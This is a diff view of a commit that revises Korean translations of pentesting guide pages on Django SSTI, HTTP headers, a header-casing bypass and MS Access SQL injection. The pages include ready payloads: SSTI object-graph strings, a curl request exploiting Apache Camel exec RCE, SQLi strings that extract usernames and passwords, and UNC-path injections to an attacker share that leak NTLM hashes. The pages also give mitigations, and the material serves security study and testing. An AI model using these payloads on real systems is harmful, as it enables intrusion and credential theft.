이 HackerOne 보고서는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예제를 제공합니다: https://hackerone.com/reports/1415436
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 서버 측 템플릿 주입 (SSTI)
|
## Server-Side Template Injection (SSTI)
|
||||||
Django 템플릿 언어(DTL)는 **튜링 완전**합니다. 사용자 제공 데이터가 *템플릿 문자열*로 렌더링되면(예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`가 자동 이스케이프를 제거할 때), 공격자는 전체 SSTI → RCE를 달성할 수 있습니다.
|
Django 템플릿 언어(DTL)는 **튜링 완전**합니다. 사용자 제공 데이터가 *템플릿 문자열*로 렌더링되면(예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`가 자동 이스케이프를 제거할 때), 공격자는 전체 SSTI → RCE를 달성할 수 있습니다.
|
||||||
|
|
||||||
### 탐지
|
### Detection
|
||||||
1. *모든* 비위생화된 요청 데이터를 포함하는 `Template()` / `Engine.from_string()` / `render_to_string()`에 대한 동적 호출을 찾습니다.
|
1. *모든* 비위생화된 요청 데이터를 포함하는 `Template()` / `Engine.from_string()` / `render_to_string()`에 대한 동적 호출을 찾습니다.
|
||||||
2. 시간 기반 또는 산술 페이로드를 전송합니다:
|
2. 시간 기반 또는 산술 페이로드를 전송합니다:
|
||||||
```django
|
```django
|
||||||
@ -22,7 +22,7 @@ Django 템플릿 언어(DTL)는 **튜링 완전**합니다. 사용자 제공 데
|
|||||||
```
|
```
|
||||||
렌더링된 출력에 `49`가 포함되면 입력이 템플릿 엔진에 의해 컴파일됩니다.
|
렌더링된 출력에 `49`가 포함되면 입력이 템플릿 엔진에 의해 컴파일됩니다.
|
||||||
|
|
||||||
### RCE로의 원시 단계
|
### Primitive to RCE
|
||||||
Django는 `__import__`에 대한 직접 접근을 차단하지만, Python 객체 그래프에 접근할 수 있습니다:
|
Django는 `__import__`에 대한 직접 접근을 차단하지만, Python 객체 그래프에 접근할 수 있습니다:
|
||||||
```django
|
```django
|
||||||
{{''.__class__.mro()[1].__subclasses__()}}
|
{{''.__class__.mro()[1].__subclasses__()}}
|
||||||
@ -68,7 +68,7 @@ print(f"sessionid={mal}")
|
|||||||
* **CVE-2025-48432** – *이스케이프되지 않은 `request.path`를 통한 로그 주입* (2025년 6월 4일 수정). 공격자가 로그 파일에 개행/ANSI 코드를 밀어넣고 하위 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
* **CVE-2025-48432** – *이스케이프되지 않은 `request.path`를 통한 로그 주입* (2025년 6월 4일 수정). 공격자가 로그 파일에 개행/ANSI 코드를 밀어넣고 하위 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||||
* **CVE-2024-42005** – *`JSONField`의 `QuerySet.values()/values_list()`에서의 치명적인 SQL 주입* (CVSS 9.8). JSON 키를 조작하여 인용을 벗어나고 임의의 SQL을 실행합니다. 4.2.15 / 5.0.8에서 수정됨.
|
* **CVE-2024-42005** – *`JSONField`의 `QuerySet.values()/values_list()`에서의 치명적인 SQL 주입* (CVSS 9.8). JSON 키를 조작하여 인용을 벗어나고 임의의 SQL을 실행합니다. 4.2.15 / 5.0.8에서 수정됨.
|
||||||
|
|
||||||
항상 `X-Frame-Options` 오류 페이지 또는 `/static/admin/css/base.css` 해시를 통해 정확한 프레임워크 버전을 식별하고, 해당되는 경우 위 사항을 테스트합니다.
|
정확한 프레임워크 버전을 `X-Frame-Options` 오류 페이지 또는 `/static/admin/css/base.css` 해시를 통해 항상 지문을 찍고, 해당되는 경우 위 사항을 테스트합니다.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -76,4 +76,4 @@ print(f"sessionid={mal}")
|
|||||||
* Django 보안 릴리스 – "Django 5.2.2, 5.1.10, 4.2.22가 CVE-2025-48432를 해결합니다" – 2025년 6월 4일.
|
* Django 보안 릴리스 – "Django 5.2.2, 5.1.10, 4.2.22가 CVE-2025-48432를 해결합니다" – 2025년 6월 4일.
|
||||||
* OP-Innovate: "Django가 SQL 주입 결함 CVE-2024-42005를 해결하기 위해 보안 업데이트를 릴리스합니다" – 2024년 8월 11일.
|
* OP-Innovate: "Django가 SQL 주입 결함 CVE-2024-42005를 해결하기 위해 보안 업데이트를 릴리스합니다" – 2024년 8월 11일.
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
{{#include /src/banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -35,7 +35,7 @@ Rewrite **location**:
|
|||||||
|
|
||||||
## Hop-by-Hop headers
|
## Hop-by-Hop headers
|
||||||
|
|
||||||
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
|
A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소비되도록 설계된 헤더로, 종단 간 헤더와는 다릅니다.
|
||||||
|
|
||||||
- `Connection: close, X-Forwarded-For`
|
- `Connection: close, X-Forwarded-For`
|
||||||
|
|
||||||
@ -59,7 +59,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
|||||||
- **`X-Cache`** 응답에서 요청이 캐시되지 않았을 때는 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가집니다.
|
- **`X-Cache`** 응답에서 요청이 캐시되지 않았을 때는 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가집니다.
|
||||||
- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작을 합니다.
|
- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작을 합니다.
|
||||||
- **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800`
|
- **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800`
|
||||||
- **`Vary`**는 응답에서 **추가 헤더**를 나타내기 위해 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
|
- **`Vary`**는 응답에서 **추가 헤더**를 나타내는 데 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
|
||||||
- **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다.
|
- **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다.
|
||||||
- **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다.
|
- **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다.
|
||||||
|
|
||||||
@ -72,7 +72,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
|||||||
- `Clear-Site-Data`: 제거해야 할 캐시를 나타내는 헤더: `Clear-Site-Data: "cache", "cookies"`
|
- `Clear-Site-Data`: 제거해야 할 캐시를 나타내는 헤더: `Clear-Site-Data: "cache", "cookies"`
|
||||||
- `Expires`: 응답이 만료될 날짜/시간을 포함합니다: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
- `Expires`: 응답이 만료될 날짜/시간을 포함합니다: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||||
- `Pragma: no-cache`는 `Cache-Control: no-cache`와 동일합니다.
|
- `Pragma: no-cache`는 `Cache-Control: no-cache`와 동일합니다.
|
||||||
- `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태에 대한 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
- `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태와 관련된 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||||
|
|
||||||
## Conditionals
|
## Conditionals
|
||||||
|
|
||||||
@ -83,7 +83,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
|||||||
## Range requests
|
## Range requests
|
||||||
|
|
||||||
- **`Accept-Ranges`**: 서버가 범위 요청을 지원하는지 여부와 범위를 표현할 수 있는 단위를 나타냅니다. `Accept-Ranges: <range-unit>`
|
- **`Accept-Ranges`**: 서버가 범위 요청을 지원하는지 여부와 범위를 표현할 수 있는 단위를 나타냅니다. `Accept-Ranges: <range-unit>`
|
||||||
- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. 예를 들어, `Range:80-100`은 원래 응답의 80에서 100 바이트를 반환하며, 상태 코드는 206 Partial Content입니다. 요청에서 `Accept-Encoding` 헤더를 제거하는 것도 잊지 마세요.
|
- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. 예를 들어, `Range:80-100`은 원래 응답의 80에서 100 바이트를 반환하며, 상태 코드는 206 Partial Content입니다. 요청에서 `Accept-Encoding` 헤더를 제거하는 것도 잊지 마십시오.
|
||||||
- 이는 그렇지 않으면 이스케이프될 수 있는 임의의 반사된 자바스크립트 코드로 응답을 얻는 데 유용할 수 있습니다. 그러나 이를 악용하려면 요청에 이 헤더를 주입해야 합니다.
|
- 이는 그렇지 않으면 이스케이프될 수 있는 임의의 반사된 자바스크립트 코드로 응답을 얻는 데 유용할 수 있습니다. 그러나 이를 악용하려면 요청에 이 헤더를 주입해야 합니다.
|
||||||
- **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 이는 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다.
|
- **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 이는 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다.
|
||||||
- **`Content-Range`**: 전체 본문 메시지에서 부분 메시지가 속하는 위치를 나타냅니다.
|
- **`Content-Range`**: 전체 본문 메시지에서 부분 메시지가 속하는 위치를 나타냅니다.
|
||||||
@ -93,7 +93,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
|||||||
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다.
|
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다.
|
||||||
- **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다.
|
- **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다.
|
||||||
- **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다.
|
- **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다.
|
||||||
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구별할 수 있도록 합니다.
|
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구분할 수 있도록 합니다.
|
||||||
- **`Content-Location`**: 반환된 데이터의 대체 위치를 나타냅니다.
|
- **`Content-Location`**: 반환된 데이터의 대체 위치를 나타냅니다.
|
||||||
|
|
||||||
펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\
|
펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\
|
||||||
@ -175,13 +175,13 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
|
|||||||
```
|
```
|
||||||
### **HTTP Strict Transport Security (HSTS)**
|
### **HTTP Strict Transport Security (HSTS)**
|
||||||
|
|
||||||
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호와 보안을 강화합니다.
|
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 및 보안을 강화합니다.
|
||||||
```
|
```
|
||||||
Strict-Transport-Security: max-age=3153600
|
Strict-Transport-Security: max-age=3153600
|
||||||
```
|
```
|
||||||
## Header Name Casing Bypass
|
## Header Name Casing Bypass
|
||||||
|
|
||||||
HTTP/1.1은 헤더 필드 이름을 **대소문자 구분 없음**으로 정의합니다 (RFC 9110 §5.1). 그럼에도 불구하고, 대소문자를 정규화하지 않고 수신된 *리터럴* 헤더 이름을 비교하는 사용자 정의 미들웨어, 보안 필터 또는 비즈니스 로직을 찾는 것은 매우 일반적입니다 (예: `header.equals("CamelExecCommandExecutable")`). 이러한 검사가 **대소문자 구분**으로 수행된다면, 공격자는 다른 대문자 사용으로 동일한 헤더를 전송하여 이를 우회할 수 있습니다.
|
HTTP/1.1은 헤더 필드 이름을 **대소문자 구분 없음**으로 정의합니다 (RFC 9110 §5.1). 그럼에도 불구하고, 대소문자를 정규화하지 않고 수신된 *리터럴* 헤더 이름을 비교하는 사용자 정의 미들웨어, 보안 필터 또는 비즈니스 로직을 찾는 것은 매우 일반적입니다 (예: `header.equals("CamelExecCommandExecutable")`). 이러한 검사가 **대소문자 구분**으로 수행되면, 공격자는 다른 대문자 사용으로 동일한 헤더를 보내어 이를 우회할 수 있습니다.
|
||||||
|
|
||||||
이 실수가 발생하는 전형적인 상황:
|
이 실수가 발생하는 전형적인 상황:
|
||||||
|
|
||||||
@ -191,9 +191,9 @@ HTTP/1.1은 헤더 필드 이름을 **대소문자 구분 없음**으로 정의
|
|||||||
|
|
||||||
### Abusing the bypass
|
### Abusing the bypass
|
||||||
|
|
||||||
1. 서버 측에서 필터링되거나 검증되는 헤더를 식별합니다 (예: 소스 코드, 문서 또는 오류 메시지를 읽음으로써).
|
1. 서버 측에서 필터링되거나 검증되는 헤더를 식별합니다 (예: 소스 코드, 문서 또는 오류 메시지를 읽어).
|
||||||
2. **다른 대소문자로 동일한 헤더를 전송합니다** (혼합 대소문자 또는 대문자). HTTP 스택은 일반적으로 사용자 코드가 실행된 후에만 헤더를 정규화하므로, 취약한 검사를 건너뛸 수 있습니다.
|
2. **다른 대소문자로 동일한 헤더**를 보냅니다 (혼합 대소문자 또는 대문자). HTTP 스택은 일반적으로 사용자 코드가 실행된 후에만 헤더를 정규화하므로, 취약한 검사를 건너뛸 수 있습니다.
|
||||||
3. 하위 구성 요소가 헤더를 대소문자 구분 없이 처리하면 (대부분 그렇습니다), 공격자가 제어하는 값을 수용할 것입니다.
|
3. 하위 구성 요소가 헤더를 대소문자 구분 없이 처리하면 (대부분 그렇습니다), 공격자가 제어하는 값을 수락합니다.
|
||||||
|
|
||||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||||
|
|
||||||
@ -204,13 +204,13 @@ curl "http://<IP>/command-center" \
|
|||||||
-H "CAmelExecCommandExecutable: ls" \
|
-H "CAmelExecCommandExecutable: ls" \
|
||||||
-H "CAmelExecCommandArgs: /"
|
-H "CAmelExecCommandArgs: /"
|
||||||
```
|
```
|
||||||
헤더는 필터링되지 않은 채 `exec` 구성 요소에 도달하여 Camel 프로세스의 권한으로 원격 명령 실행을 초래합니다.
|
헤더는 필터링되지 않은 상태로 `exec` 구성 요소에 도달하여 Camel 프로세스의 권한으로 원격 명령 실행을 초래합니다.
|
||||||
|
|
||||||
### 탐지 및 완화
|
### 탐지 및 완화
|
||||||
|
|
||||||
* 모든 헤더 이름을 단일 케이스(일반적으로 소문자)로 정규화합니다 **before** 허용/거부 비교를 수행하기 전에.
|
* 모든 헤더 이름을 단일 대소문자(일반적으로 소문자)로 정규화합니다 **before** 허용/거부 비교를 수행하기 전에.
|
||||||
* 의심스러운 중복을 거부합니다: `Header:`와 `HeAdEr:`가 모두 존재하는 경우 이를 이상으로 간주합니다.
|
* 의심스러운 중복을 거부합니다: `Header:`와 `HeAdEr:`가 모두 존재하는 경우 이를 이상으로 간주합니다.
|
||||||
* 정규화 후 **after** 시행되는 긍정적인 허용 목록을 사용합니다.
|
* 정규화 **after** 후에 시행되는 긍정적인 허용 목록을 사용합니다.
|
||||||
* 관리 엔드포인트를 인증 및 네트워크 분할로 보호합니다.
|
* 관리 엔드포인트를 인증 및 네트워크 분할로 보호합니다.
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Online Playground
|
## 온라인 플레이그라운드
|
||||||
|
|
||||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||||
|
|
||||||
## DB Limitations
|
## DB 제한 사항
|
||||||
|
|
||||||
### String Concatenation
|
### 문자열 연결
|
||||||
|
|
||||||
문자열 연결은 `& (%26)` 및 `+ (%2b)` 문자를 사용하여 가능합니다.
|
문자열 연결은 `& (%26)` 및 `+ (%2b)` 문자를 사용하여 가능합니다.
|
||||||
```sql
|
```sql
|
||||||
@ -21,7 +21,7 @@ MS Access에는 주석이 없지만, NULL 문자로 쿼리의 마지막을 제
|
|||||||
```sql
|
```sql
|
||||||
1' union select 1,2 from table%00
|
1' union select 1,2 from table%00
|
||||||
```
|
```
|
||||||
쿼리의 구문을 수정할 수 있습니다:
|
쿼리의 구문을 항상 수정할 수 있습니다:
|
||||||
```sql
|
```sql
|
||||||
1' UNION SELECT 1,2 FROM table WHERE ''='
|
1' UNION SELECT 1,2 FROM table WHERE ''='
|
||||||
```
|
```
|
||||||
@ -40,31 +40,31 @@ Just like TOP you can use **`LAST`** which will get the **rows from the end**.
|
|||||||
## UNION Queries/Sub queries
|
## UNION Queries/Sub queries
|
||||||
|
|
||||||
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
|
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
|
||||||
So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **need to indicate a `FROM` with a valid table name**.\
|
그래서, 만약 `UNION SELECT` 또는 `UNION ALL SELECT` 또는 조건에서 괄호 안의 `SELECT`를 실행하고 싶다면, 항상 **유효한 테이블 이름과 함께 `FROM`을 표시해야 합니다**.\
|
||||||
Therefore, you need to know a **valid table name**.
|
따라서, **유효한 테이블 이름**을 알아야 합니다.
|
||||||
```sql
|
```sql
|
||||||
-1' UNION SELECT username,password from users%00
|
-1' UNION SELECT username,password from users%00
|
||||||
```
|
```
|
||||||
### Chaining equals + Substring
|
### Chaining equals + Substring
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 이 방법을 사용하면 테이블 이름을 알 필요 없이 현재 테이블의 값을 추출할 수 있습니다.
|
> 이 방법을 사용하면 테이블 이름을 알 필요 없이 현재 테이블의 값을 유출할 수 있습니다.
|
||||||
|
|
||||||
**MS Access**는 **`'1'=2='3'='asd'=false`**와 같은 **이상한 구문**을 허용합니다. 일반적으로 SQL 인젝션은 **`WHERE`** 절 안에 있기 때문에 이를 악용할 수 있습니다.
|
**MS Access**는 **`'1'=2='3'='asd'=false`**와 같은 **이상한 구문**을 허용합니다. 일반적으로 SQL 인젝션은 **`WHERE`** 절 안에 있기 때문에 이를 악용할 수 있습니다.
|
||||||
|
|
||||||
MS Access 데이터베이스에 SQLi가 있고, 한 **열 이름이 username**이라는 것을 알고 (또는 추측하고) 그 필드를 **추출**하고 싶다고 가정해 보세요. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 추출할 수 있습니다.
|
MS Access 데이터베이스에 SQLi가 있고, 한 **열 이름이 username**이라는 것을 알고 (또는 추측하고) 그 필드를 **유출**하고 싶다고 가정해 보세요. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 유출할 수 있습니다.
|
||||||
```sql
|
```sql
|
||||||
'=(Mid(username,1,3)='adm')='
|
'=(Mid(username,1,3)='adm')='
|
||||||
```
|
```
|
||||||
테이블의 **이름**과 **열**을 알고 있다면, `Mid`, `LAST` 및 `TOP`을 조합하여 부울 SQLi를 통해 **모든 정보를 유출**할 수 있습니다:
|
테이블의 **이름**과 **열**을 알고 있다면, `Mid`, `LAST` 및 `TOP`을 조합하여 불리언 SQLi를 통해 **모든 정보를 유출**할 수 있습니다:
|
||||||
```sql
|
```sql
|
||||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||||
```
|
```
|
||||||
_Feel free to check this in the online playground._
|
_온라인 플레이그라운드에서 확인해 보세요._
|
||||||
|
|
||||||
### 테이블 이름 무차별 대입
|
### 테이블 이름 무차별 대입 공격
|
||||||
|
|
||||||
chaining equals 기법을 사용하여 **테이블 이름을 무차별 대입**할 수 있습니다:
|
체인 이퀄스 기법을 사용하여 **테이블 이름을 무차별 대입 공격**할 수 있습니다:
|
||||||
```sql
|
```sql
|
||||||
'=(select+top+1+'lala'+from+<table_name>)='
|
'=(select+top+1+'lala'+from+<table_name>)='
|
||||||
```
|
```
|
||||||
@ -87,7 +87,7 @@ _온라인 플레이그라운드에서 확인해 보세요._
|
|||||||
```sql
|
```sql
|
||||||
-1' GROUP BY column_name%00
|
-1' GROUP BY column_name%00
|
||||||
```
|
```
|
||||||
다른 테이블의 열 이름을 강제로 추측할 수도 있습니다:
|
다른 테이블의 열 이름을 다음과 같이 무차별 대입 공격할 수 있습니다:
|
||||||
```sql
|
```sql
|
||||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||||
|
|
||||||
@ -99,15 +99,15 @@ _온라인 플레이그라운드에서 확인해 보세요._
|
|||||||
```sql
|
```sql
|
||||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||||
```
|
```
|
||||||
간단히 말해, 쿼리는 성공 시 “200 OK”를 트리거하고 그렇지 않을 경우 “500 Internal Error”를 트리거하기 위해 “if-then” 문을 사용합니다. TOP 10 연산자를 이용하면 처음 10개의 결과를 선택할 수 있습니다. 이후 LAST를 사용하여 10번째 튜플만 고려할 수 있습니다. 이러한 값에 대해 MID 연산자를 사용하면 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하면 모든 행의 “username” 필드 내용을 덤프할 수 있습니다.
|
간단히 말해, 쿼리는 성공 시 “200 OK”를 트리거하거나 그렇지 않을 경우 “500 Internal Error”를 트리거하기 위해 “if-then” 문을 사용합니다. TOP 10 연산자를 이용하면 처음 10개의 결과를 선택할 수 있습니다. 이후 LAST를 사용하여 10번째 튜플만 고려할 수 있습니다. 이러한 값에 대해 MID 연산자를 사용하면 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하면 모든 행의 “username” 필드 내용을 덤프할 수 있습니다.
|
||||||
|
|
||||||
### 시간 기반 (블라인드) 트릭
|
### 시간 기반 (블라인드) 트릭
|
||||||
|
|
||||||
Jet/ACE SQL 자체는 **SLEEP()** 또는 **WAITFOR** 함수를 네이티브로 노출하지 않으므로 전통적인 시간 기반 블라인드 인젝션은 제한적입니다. 그러나 여전히 **느리거나 응답하지 않는 네트워크 리소스에 접근**하도록 강제하여 측정 가능한 지연을 도입할 수 있습니다. 엔진이 결과를 반환하기 전에 파일을 열려고 시도하기 때문에, HTTP 응답 시간은 공격자가 제어하는 호스트에 대한 왕복 지연을 반영합니다.
|
Jet/ACE SQL 자체는 **SLEEP()** 또는 **WAITFOR** 함수를 네이티브로 노출하지 않으므로 전통적인 시간 기반 블라인드 인젝션은 제한적입니다. 그러나 여전히 **느리거나 응답하지 않는 네트워크 리소스에 접근하도록 강제함으로써** 측정 가능한 지연을 도입할 수 있습니다. 엔진이 결과를 반환하기 전에 파일을 열려고 시도하기 때문에, HTTP 응답 시간은 공격자가 제어하는 호스트에 대한 왕복 지연 시간을 반영합니다.
|
||||||
```sql
|
```sql
|
||||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||||
```
|
```
|
||||||
UNC 경로를 다음에 지정하십시오:
|
UNC 경로를 다음으로 지정하십시오:
|
||||||
|
|
||||||
* 높은 대기 시간 링크 뒤의 SMB 공유
|
* 높은 대기 시간 링크 뒤의 SMB 공유
|
||||||
* `SYN-ACK` 후 TCP 핸드셰이크를 드롭하는 호스트
|
* `SYN-ACK` 후 TCP 핸드셰이크를 드롭하는 호스트
|
||||||
@ -117,7 +117,7 @@ UNC 경로를 다음에 지정하십시오:
|
|||||||
|
|
||||||
### 기타 흥미로운 함수
|
### 기타 흥미로운 함수
|
||||||
|
|
||||||
- `Mid('admin',1,1)` 위치 1에서 길이 1의 부분 문자열 가져오기 (초기 위치는 1)
|
- `Mid('admin',1,1)` 위치 1에서 길이 1의 하위 문자열 가져오기 (초기 위치는 1)
|
||||||
- `LEN('1234')` 문자열의 길이 가져오기
|
- `LEN('1234')` 문자열의 길이 가져오기
|
||||||
- `ASC('A')` 문자에 대한 ASCII 값 가져오기
|
- `ASC('A')` 문자에 대한 ASCII 값 가져오기
|
||||||
- `CHR(65)` ASCII 값에서 문자열 가져오기
|
- `CHR(65)` ASCII 값에서 문자열 가져오기
|
||||||
@ -164,7 +164,7 @@ MS Access는 **웹 디렉토리 전체 경로를 포함하는 오류 메시지**
|
|||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||||
|
|
||||||
여기서 **name[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것이 가능합니다.
|
여기서 **name[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것은 가능합니다.
|
||||||
|
|
||||||
### 원격 데이터베이스 접근 및 NTLM 자격 증명 도용 (2023)
|
### 원격 데이터베이스 접근 및 NTLM 자격 증명 도용 (2023)
|
||||||
|
|
||||||
@ -186,16 +186,16 @@ IN '\\attacker\share\poc.mdb'-- -
|
|||||||
```
|
```
|
||||||
Impact:
|
Impact:
|
||||||
|
|
||||||
* Net-NTLMv2 해시의 아웃오브밴드 유출 (중계 또는 오프라인 크래킹에 사용 가능).
|
* Net-NTLMv2 해시의 비동기 유출 (중계 또는 오프라인 크래킹에 사용 가능).
|
||||||
* 새로운 Jet/ACE 파서 버그가 악용될 경우 원격 코드 실행 가능성.
|
* 새로운 Jet/ACE 파서 버그가 악용될 경우 원격 코드 실행 가능성.
|
||||||
|
|
||||||
Mitigations (레거시 Classic ASP 앱에도 권장):
|
Mitigations (레거시 Classic ASP 앱에도 권장):
|
||||||
|
|
||||||
* `HKLM\Software\Microsoft\Jet\4.0\Engines` (및 해당 ACE 경로) 아래에 `AllowQueryRemoteTables = 0` 레지스트리 값을 추가합니다. 이는 Jet/ACE가 `\\`로 시작하는 원격 경로를 거부하도록 강제합니다.
|
* `HKLM\Software\Microsoft\Jet\4.0\Engines` 아래에 `AllowQueryRemoteTables = 0` 레지스트리 값을 추가합니다 (동일한 ACE 경로 아래에도). 이는 Jet/ACE가 `\\`로 시작하는 원격 경로를 거부하도록 강제합니다.
|
||||||
* 네트워크 경계에서 아웃바운드 SMB/WebDAV 차단.
|
* 네트워크 경계에서 아웃바운드 SMB/WebDAV 차단.
|
||||||
* `IN` 절 안에 들어갈 수 있는 쿼리의 모든 부분을 정리/매개변수화합니다.
|
* `IN` 절 안에 들어갈 수 있는 쿼리의 모든 부분을 정리/매개변수화합니다.
|
||||||
|
|
||||||
강제 인증 벡터는 2023년 Check Point Research에 의해 재검토되었으며, 레지스트리 키가 없을 때 완전히 패치된 Windows Server에서 여전히 악용 가능함을 증명했습니다. citeturn0search0
|
강제 인증 벡터는 2023년 Check Point Research에 의해 재조명되었으며, 레지스트리 키가 없을 때 완전히 패치된 Windows Server에서도 여전히 악용 가능함을 입증했습니다. citeturn0search0
|
||||||
|
|
||||||
### .mdb 비밀번호 크래커
|
### .mdb 비밀번호 크래커
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user